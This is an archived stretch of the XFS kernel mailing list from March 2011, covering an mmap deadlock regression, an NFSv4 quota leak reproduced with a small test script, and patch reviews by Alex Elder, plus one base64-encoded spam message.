X-ASG-Debug-ID: 1301010343-3aac01ed0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-out.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 94B36B16F52 for ; Thu, 24 Mar 2011 16:45:44 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by cuda.sgi.com with ESMTP id IN2xk7fYUA2CQDGc for ; Thu, 24 Mar 2011 16:45:44 -0700 (PDT) Received: from kpbe14.cbf.corp.google.com (kpbe14.cbf.corp.google.com [172.25.105.78]) by smtp-out.google.com with ESMTP id p2ONjgXM007800 for ; Thu, 24 Mar 2011 16:45:42 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1301010343; bh=ZCID/4ZHw9zWRgslqhSGCBPaCRA=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type:Content-Transfer-Encoding; b=CY8Q7FqgNrVBbKQiJbPwlx/tQcrGASo+lVrroghW52W4AnILEfykNvMMm2meEexdm XXc/jEgIBzIJwXNYErM3w== Received: from gxk8 (gxk8.prod.google.com [10.202.11.8]) by kpbe14.cbf.corp.google.com with ESMTP id p2ONisaI013458 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Thu, 24 Mar 2011 16:45:41 -0700 Received: by gxk8 with SMTP id 8so224458gxk.9 for ; Thu, 24 Mar 2011 16:45:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=gAMCfGjViP837otjHEPkmaAl2QohEbIby+eP8Qb3Vxw=; b=vyGKeKC5CsrvNU/G/u0XqtpmqRt5o1OseTUCUfm1jsZvBJ5uE3dk/3VX5QFFtUruog kYcFw1u+IZjdGL6Nopbg== DomainKey-Signature: a=rsa-sha1; c=nofws; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=h6CSU72FPhsEfm+qVScuPPuGmQcD/qeUptcrieXtt7wIiaA1cuJMH4yIYtyBnDwBGR IGWV3hEdn2rdcL2mw6KA== MIME-Version: 1.0 Received: by 10.150.167.3 with SMTP id p3mr165046ybe.52.1301010340594; Thu, 24 Mar 2011 16:45:40 -0700 (PDT) Received: by 10.151.47.2 with HTTP; Thu, 24 Mar 2011 16:45:40 -0700 (PDT) In-Reply-To: <20110324174311.GA31576@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> Date: Thu, 24 Mar 2011 16:45:40 -0700 Message-ID: X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 From: Michel Lespinasse To: Christoph Hellwig Cc: Sean Noonan , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , linux-mm@kvack.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-System-Of-Record: true X-Barracuda-Connect: smtp-out.google.com[74.125.121.67] X-Barracuda-Start-Time: 1301010345 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 24, 2011 at 10:43 AM, Christoph Hellwig wro= te: > Michel, > > can you take a look at this bug report? =A0It looks like a regression > in your mlock handling changes. I had a quick look and at this point I can describe how the patch will affect behavior of this test, but not why this causes a deadlock with xfs. The test creates a writable, shared mapping of a file that does not have data blocks allocated on disk, and also uses the MAP_POPULATE flag. Before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272, make_pages_present during the mmap would cause data blocks to get allocated on disk with an xfs_vm_page_mkwrite call, and then the file pages would get mapped as writable ptes. After 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272, make_pages_present does NOT cause data blocks to get allocated on disk. Instead, xfs_vm_readpages is called, which (I suppose) does not allocate the data blocks and returns zero filled pages instead, which get mapped as readonly ptes. Later, the test tries writing into the mmap'ed block, causing minor page faults, xfs_vm_page_mkwrite calls and data block allocations to occur. Regarding the deadlock: I am curious to see if it could be made to happen before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. Could you test what happens if you remove the MAP_POPULATE flag from your mmap call, and instead read all pages from userspace right after the mmap ? I expect you would then be able to trigger the deadlock before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. This leaves the issue of the change of behavior for MAP_POPULATE on ftruncated file holes. I'm not sure what to say there though, because MAP_POPULATE is documented to cause file read-ahead (and it still does after 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272), but that doesn't say anything about block allocation. Hope this helps, --=20 Michel "Walken" Lespinasse A program is never fully debugged until the last user dies. From bfields@fieldses.org Thu Mar 24 19:00:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2P008mp187065 for ; Thu, 24 Mar 2011 19:00:08 -0500 X-ASG-Debug-ID: 1301011394-7a91025a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fieldses.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D6EC6141EF7A for ; Thu, 24 Mar 2011 17:03:14 -0700 (PDT) Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id gZX48pC1DJrKQOVW for ; Thu, 24 Mar 2011 17:03:14 -0700 (PDT) Received: from bfields by fieldses.org with local (Exim 4.72) (envelope-from ) id 1Q2uUg-0001RP-EH; Thu, 24 Mar 2011 20:03:10 -0400 Date: Thu, 24 Mar 2011 20:03:10 -0400 From: "J. Bruce Fields" To: Adam Lackorzynski Cc: Christoph Hellwig , linux-nfs@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38: Quota over NFS4 Subject: Re: 2.6.38: Quota over NFS4 Message-ID: <20110325000310.GA5514@fieldses.org> References: <20110321184043.GC4992@os.inf.tu-dresden.de> <20110321222301.GB472@fieldses.org> <20110322221305.GA5857@os.inf.tu-dresden.de> <20110323150328.GD23418@fieldses.org> <20110323174052.GE5005@os.inf.tu-dresden.de> <20110323190632.GA26306@fieldses.org> <20110323223017.GA5177@os.inf.tu-dresden.de> <20110324171704.GA1784@infradead.org> <20110324175106.GB1886@fieldses.org> <20110324222807.GC10821@os.inf.tu-dresden.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110324222807.GC10821@os.inf.tu-dresden.de> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1301011394 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58875 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 24, 2011 at 11:28:07PM +0100, Adam Lackorzynski wrote: > > On Thu Mar 24, 2011 at 13:51:06 -0400, J. Bruce Fields wrote: > > On Thu, Mar 24, 2011 at 01:17:05PM -0400, Christoph Hellwig wrote: > > > On Wed, Mar 23, 2011 at 11:30:17PM +0100, Adam Lackorzynski wrote: > > > > I probably mistyped something and thus bisected again: > > > > > > maybe this is just a symptom. When was the nfs4 code converted > > > to just use a single open struct file, and what are the lifetime > > > rules for it? It would easily be that a long alive file might > > > make XFS keep persistent preallocations longer or similar issues. > > > > Definitely, the commit he's bisect to there seems much more likely to be > > a culprit. I'll take a closer look.... > > > > > Adam, can you create a loop filesystem with ext3 or something else > > > on it and see if the problem is XFS-specific? > > > > Originally it sounded like he was able to reproduce this only on one > > specific filesystem so I wondered whether there was something particular > > to that filesystem. > > I just found out it happens also with a newly created xfs and also with > ext3 and ext4. The reason that I did not see that initially is that the > script I'm using needs to be on the same fs which wasn't the case when I > initially tried it with a new fs. The sequence I'm using is: Ah-hah, got it. So the leak's probably of a delegation on the file containing the script itself. OK, I should be able to fix that, thanks! --b. > > # mount x.x.x:/home /tmp/st > # su - foo > $ cd /tmp/st/foo/x > $ ../test-script > foo@host:/tmp/st/foo/x$ ../test-script > Filesystem Inodes IUsed IFree IUse% Mounted on > x.x.x:/home 39321600 15 39321585 1% /tmp/st > Filesystem Inodes IUsed IFree IUse% Mounted on > x.x.x:/home 39321600 16 39321584 1% /tmp/st > Filesystem Inodes IUsed IFree IUse% Mounted on > x.x.x:/home 39321600 16 39321584 1% /tmp/st > > > > test-script: > #! /bin/sh > > df -i . > cp /bin/ls x1 > df -i . > cat x1 > /dev/null > rm x1 > df -i . > > > > > > > Adam > -- > Adam adam@os.inf.tu-dresden.de > Lackorzynski http://os.inf.tu-dresden.de/~adam/ From mw@dermichi.com Fri Mar 25 07:53:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2PCrL1K223210 for ; Fri, 25 Mar 2011 07:53:22 -0500 X-ASG-Debug-ID: 1301057786-6ee202d20000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from firestarter.dermichi.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7F33011377D8; Fri, 25 Mar 2011 05:56:27 -0700 (PDT) Received: from firestarter.dermichi.com (firestarter.dermichi.com [78.41.115.230]) by cuda.sgi.com with ESMTP id jAkaLU6bKqeYRT5n; Fri, 25 Mar 2011 05:56:27 -0700 (PDT) Received: from dermichi-2-pt.tunnel.tserv23.zrh1.ipv6.he.net ([2001:470:25:4f4::2]) by firestarter.dermichi.com with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.74) (envelope-from ) id 1Q36Yy-0000iU-5s; Fri, 25 Mar 2011 13:56:24 +0100 Message-ID: <4D8C90F6.7050500@dermichi.com> Date: Fri, 25 Mar 2011 13:56:22 +0100 From: Michael Weissenbacher User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110223 Thunderbird/3.1.8 MIME-Version: 1.0 To: Arkadiusz Miskiewicz CC: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Subject: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-6-git-send-email-david@fromorbit.com> <201103232224.03501.arekm@maven.pl> In-Reply-To: <201103232224.03501.arekm@maven.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: firestarter.dermichi.com[78.41.115.230] X-Barracuda-Start-Time: 1301057788 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0345 1.0000 -1.7979 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.80 X-Barracuda-Spam-Status: No, SCORE=-1.80 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58927 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > From: Arkadiusz Miskiewicz > On Wednesday 23 of March 2011, Dave Chinner wrote: >> From: Dave Chinner > > Thanks a lot for this patch. I was able to mount my two ~800GB filesystems > with quota enabled without out of memory/machine reboot suprises (which were > happening without this patch every time I tried mount with quota). Seconded, this also solved my long-standing problems with a Quota mounts on some 32-bit i686 and low-mem x64 machines. I tested the patch with Kernel 2.6.38.1-i686 on a ~500GB fs which refused to mount with quotas for some time now. Is there any chance that this patch will be integrated/backparted to older kernels like 2.6.32.x, 2.6.35.x? thanks, Michael From notestinejgv@yahoo.de Fri Mar 25 12:52:56 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.3 required=5.0 tests=BAYES_99,FREEMAIL_FROM, MIME_8BIT_HEADER,T_DKIM_INVALID,UNPARSEABLE_RELAY autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PHqtg8235717 for ; Fri, 25 Mar 2011 12:52:56 -0500 X-ASG-Debug-ID: 1301075761-2c4501640000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nm7-vm0.bullet.mail.ukl.yahoo.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id D7E9415A24CE for ; Fri, 25 Mar 2011 10:56:01 -0700 (PDT) Received: from nm7-vm0.bullet.mail.ukl.yahoo.com (nm7-vm0.bullet.mail.ukl.yahoo.com [217.146.183.236]) by cuda.sgi.com with SMTP id cad9hxAkarnKlYIM for ; Fri, 25 Mar 2011 10:56:01 -0700 (PDT) Received: from [217.146.183.183] by nm7.bullet.mail.ukl.yahoo.com with NNFMP; 25 Mar 2011 17:56:01 -0000 Received: from [217.146.183.63] by tm14.bullet.mail.ukl.yahoo.com with NNFMP; 25 Mar 2011 17:56:01 -0000 Received: from [127.0.0.1] by omp1032.mail.ukl.yahoo.com with NNFMP; 25 Mar 2011 17:56:01 -0000 X-Yahoo-Newman-Id: 300334.30332.bm@omp1032.mail.ukl.yahoo.com Received: (qmail 38550 invoked from network); 25 Mar 2011 17:56:01 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.de; h=DKIM-Signature:Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:X-Mailer:MIME-Version:Content-Type:Content-Transfer-Encoding; b=nawpOygfZGA1+D6fo2PzTTGP8WX/6D7Qv3YmBRBeMcIt4CnBWMZrjix5TekrmdiIo1DpBpPX3zCC+/L9LGVNjnMMUfJJJV3F837UtYPsI7AbcjfkWwdP0D6gsuc7bhxbU37xgGYxNzcjaVpLXiGa7rPNczAZkmnX99PmjLTT/gQ= ; DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.de; s=s1024; t=1301075761; bh=RM4QqL8Mr3be9PWdrTemIj2sKxS9Ae/JrAVr0/85S54=; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:X-Mailer:MIME-Version:Content-Type:Content-Transfer-Encoding; b=Pg+ltX1K8uQw5hi3Ow3EI7IttiaTn/LoD37PJ2saJnmGCJrHzM9lh6OURmy1ewzGHwVPFSz10AwnN8anz+LwZi8K8N6+PJ1hvxHEBzldbQoS6nJiSXHZFUHcqlO9vgAiVi2TGDUDkitOIEAaVRboMTVDfdFMqsumEYC20dblNvs= Received: from gnvclsaho (notestinejgv@27.38.195.151 with login) by smtp129.mail.ukl.yahoo.com with SMTP; 25 Mar 2011 17:55:59 +0000 GMT X-Yahoo-SMTP: ekDf3QCswBBCCAzQh4gqJAT0j.psUOZgyw-- X-YMail-OSG: HbqtcgoVM1kqycexehpzg3m8yAEpbjNjw0o1zGLCC.cKcaq jXdnSG36Bxo2z7K1LdQIRMsBY0MaHTuCrJf1DIXSq3uFwId7u2u9M08wHi1q xeH_ZC0JbpSZK21F2VfhGWA7sT5RKTepO4UDJW5y.ygkCPx9.zKHJlj0vFGJ bOz_4K6sR5dvXZ7dw3GsAl3EAmDBMCiq1ZGiP.7NvExVNJ7gSX3FqaB.d.XC i4lyKe_Y6PdGVfw7tznvep9HhbUQFJ_GsHWYQt8dFk2umKNqFMgc2BYj8uw4 qnp__izX8QdH6NJJ5I77MA6NiGlShIPE- X-Yahoo-Newman-Property: ymail-3 Date: Sat, 26 Mar 2011 01:55:59 +0800 From: "notestinejgv@yahoo.de" To: "linuxwork" X-ASG-Orig-Subj: =?GB2312?B?x+uy6dTE0ru34tDC08q8/iFub3Rlc3RpbmVqZ3ZAeWFob28uZGUyezUtMjB9?= =?GB2312?B?VHs1LTIwfXlhaG9vLmNvbQ==?= Subject: =?GB2312?B?x+uy6dTE0ru34tDC08q8/iFub3Rlc3RpbmVqZ3ZAeWFob28uZGUyezUtMjB9?= =?GB2312?B?VHs1LTIwfXlhaG9vLmNvbQ==?= Message-ID: <201103260155590220369@yahoo.de> X-Mailer: Foxmail 6, 10, 201, 20 [cn] MIME-Version: 1.0 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 X-Barracuda-Connect: nm7-vm0.bullet.mail.ukl.yahoo.com[217.146.183.236] X-Barracuda-Start-Time: 1301075762 X-Barracuda-Bayes: INNOCENT GLOBAL 0.4022 1.0000 0.0000 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 0.72 X-Barracuda-Spam-Status: No, SCORE=0.72 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, MIME_BASE64_TEXT, PR0N_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean xPq6w6Ohsb7JzNDQ16jStbmp06a498Dgvqu3ws/j0cyho7LJ08PUrbOn0czLv8Xk1sajrLD817DT 69XmxrfO3rfWsfCjrL/auNC0v9X9oaMNCg0KIL6tuf224MTqtcTK0LOhtLjBtqOssru2z7XE1srB v7jEvfijrLfC1ea2yLTvtb05MCXS1MnPoaPKx7OjxOrX1LPpoaLLzcDxoaK1yMrX0aGhow0KDQog ICAgILj3xrfFxs/j0cy827jxo7rUqi/M9Si6rNPKt9EpICDI7dbQu6qjpDMwMCAg07LW0Luqo6Qy MzAgICDL1dHMo6QyMTAgICAgu8a618KlMTkxNqOkNDgwIA0KDQog3L3I2M31LijX6sqvxL7WxrrQ KSA0NTAgIL7FzuXWrtfwo6Q1MDAgILrNzOzPwqOkNDgwICC98Ny9yNijpDEzMCAgIMC2yO3cvcjY o6QzMDAgICDI7dPxz6qjpDEyMCAgDQoNCiAgICAgyfqy+sG0tcTXqNK1u6+jrLy8yvW1xL34sr2j rNbKwb+98bfHzvSxyKGj0+vV5tHMxNG31rKu1tmho83qyKu/ydLUyqTIzsjVs6O9u7zKoaMNCg0K ICAgICC4/LbgxrfFxsC0tefXydGvo7oxMzUgMzAzMCA5MTIyICBRUTo3ODcxNDcyNTQgICDBqs+1 yMujutXFz8jJ+g0KDQrS1NbKwb/H88n6tOajrNLU0MXT/sfzt6LVuaGj09DE+rXE0MXIzrLF09DO 0rXEw/fM7KGjztK9q8zhuanSu8H3tcTWysG/1/fOqtfU0tHX7tbY0qq1xNTwyM6how0KDQogICAg IMirufq/7LXdyP21vcvEzOy/ybW9tO+ho7v1tb24tr/uoaPH67fF0MS5usLyo6E= From aelder@sgi.com Fri Mar 25 15:57:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKvWru245735 for ; Fri, 25 Mar 2011 15:57:32 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id D42638F804B; Fri, 25 Mar 2011 14:00:37 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:00:37 -0500 Subject: Re: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-2-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:00:36 -0500 Message-ID: <1301086836.2537.679.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:00:37.0409 (UTC) FILETIME=[B0E6B110:01CBEB2F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > Preallocation and hole punch transactions are currently synchronous > and this is causing performance problems in some cases. The > transactions don't need to be synchronous as we don't need to > guarantee the preallocation is persistent on disk until a > fdatasync, fsync, sync operation occurs. If the file is opened > O_SYNC or O_DATASYNC, only then should the transaction be issued > synchronously. There's a minor (but important) bug in this. Other than that this looks good. Reviewed-by: Alex Elder > Signed-off-by: Dave Chinner > Reviewed-by: Christoph Hellwig > --- > fs/xfs/linux-2.6/xfs_file.c | 4 ++++ > fs/xfs/linux-2.6/xfs_ioctl.c | 4 ++++ > fs/xfs/xfs_vnodeops.c | 3 ++- > fs/xfs/xfs_vnodeops.h | 1 + > 4 files changed, 11 insertions(+), 1 deletions(-) > > diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c > index ae59865..baa2cb3 100644 > --- a/fs/xfs/linux-2.6/xfs_file.c > +++ b/fs/xfs/linux-2.6/xfs_file.c > @@ -896,6 +896,7 @@ xfs_file_fallocate( > xfs_flock64_t bf; > xfs_inode_t *ip = XFS_I(inode); > int cmd = XFS_IOC_RESVSP; > + int attr_flags = XFS_ATTR_NOLOCK; > > if (mode & ~(FALLOC_FL_KEEP_SIZE | > FALLOC_FL_PUNCH_HOLE | > @@ -922,6 +923,9 @@ xfs_file_fallocate( > goto out_unlock; > } > > + if (file->f_flags & O_DSYNC) > + attr_flags |= XFS_ATTR_SYNC; > + > error = -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); You need to pass attr_flags as the last argument here. > if (error) > goto out_unlock; . . . From aelder@sgi.com Fri Mar 25 15:57:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKvd4V245783 for ; Fri, 25 Mar 2011 15:57:40 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9680AAC00C; Fri, 25 Mar 2011 14:00:44 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:00:43 -0500 Subject: Re: [PATCH 2/6] vmap: flush vmap aliases when mapping fails From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-3-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:00:43 -0500 Message-ID: <1301086843.2537.680.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:00:43.0956 (UTC) FILETIME=[B4CDAF40:01CBEB2F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > On 32 bit systems, vmalloc space is limited and XFS can chew through > it quickly as the vmalloc space is lazily freed. This can result in > failure to map buffers, even when there is apparently large amounts > of vmalloc space available. Hence, if we fail to map a buffer, purge > the aliases that have not yet been freed to hopefuly free up enough > vmalloc space to allow a retry to succeed. Looks good. Reviewed-by: Alex Elder > Signed-off-by: Dave Chinner > Reviewed-by: Christoph Hellwig . . . From aelder@sgi.com Fri Mar 25 15:57:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKvioQ245832 for ; Fri, 25 Mar 2011 15:57:44 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7C9AAC012; Fri, 25 Mar 2011 14:00:51 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:00:51 -0500 Subject: Re: [PATCH 3/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-4-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:00:50 -0500 Message-ID: <1301086850.2537.681.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:00:51.0409 (UTC) FILETIME=[B93EEC10:01CBEB2F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > There is an ABBA deadlock between synchronous inode flushing in > xfs_reclaim_inode and xfs_icluster_free. xfs_icluster_free locks the > buffer, then takes inode ilocks, whilst synchronous reclaim takes > the ilock followed by the buffer lock in xfs_iflush(). > > To avoid this deadlock, separate the inode cluster buffer locking > semantics from the synchronous inode flush semantics, allowing > callers to attempt to lock the buffer but still issue synchronous IO > if it can get the buffer. This requires xfs_iflush() calls that > currently use non-blocking semantics to pass SYNC_TRYLOCK rather > than 0 as the flags parameter. > > This allows xfs_reclaim_inode to avoid the deadlock on the buffer > lock and detect the failure so that it can drop the inode ilock and > restart the reclaim attempt on the inode. This allows > xfs_ifree_cluster to obtain the inode lock, mark the inode stale and > release it and hence defuse the deadlock situation. It also has the > pleasant side effect of avoiding IO in xfs_reclaim_inode when it > tries to next reclaim the inode as it is now marked stale. Looks good. Reviewed-by: Alex Elder > Signed-off-by: Dave Chinner > Reviewed-by: 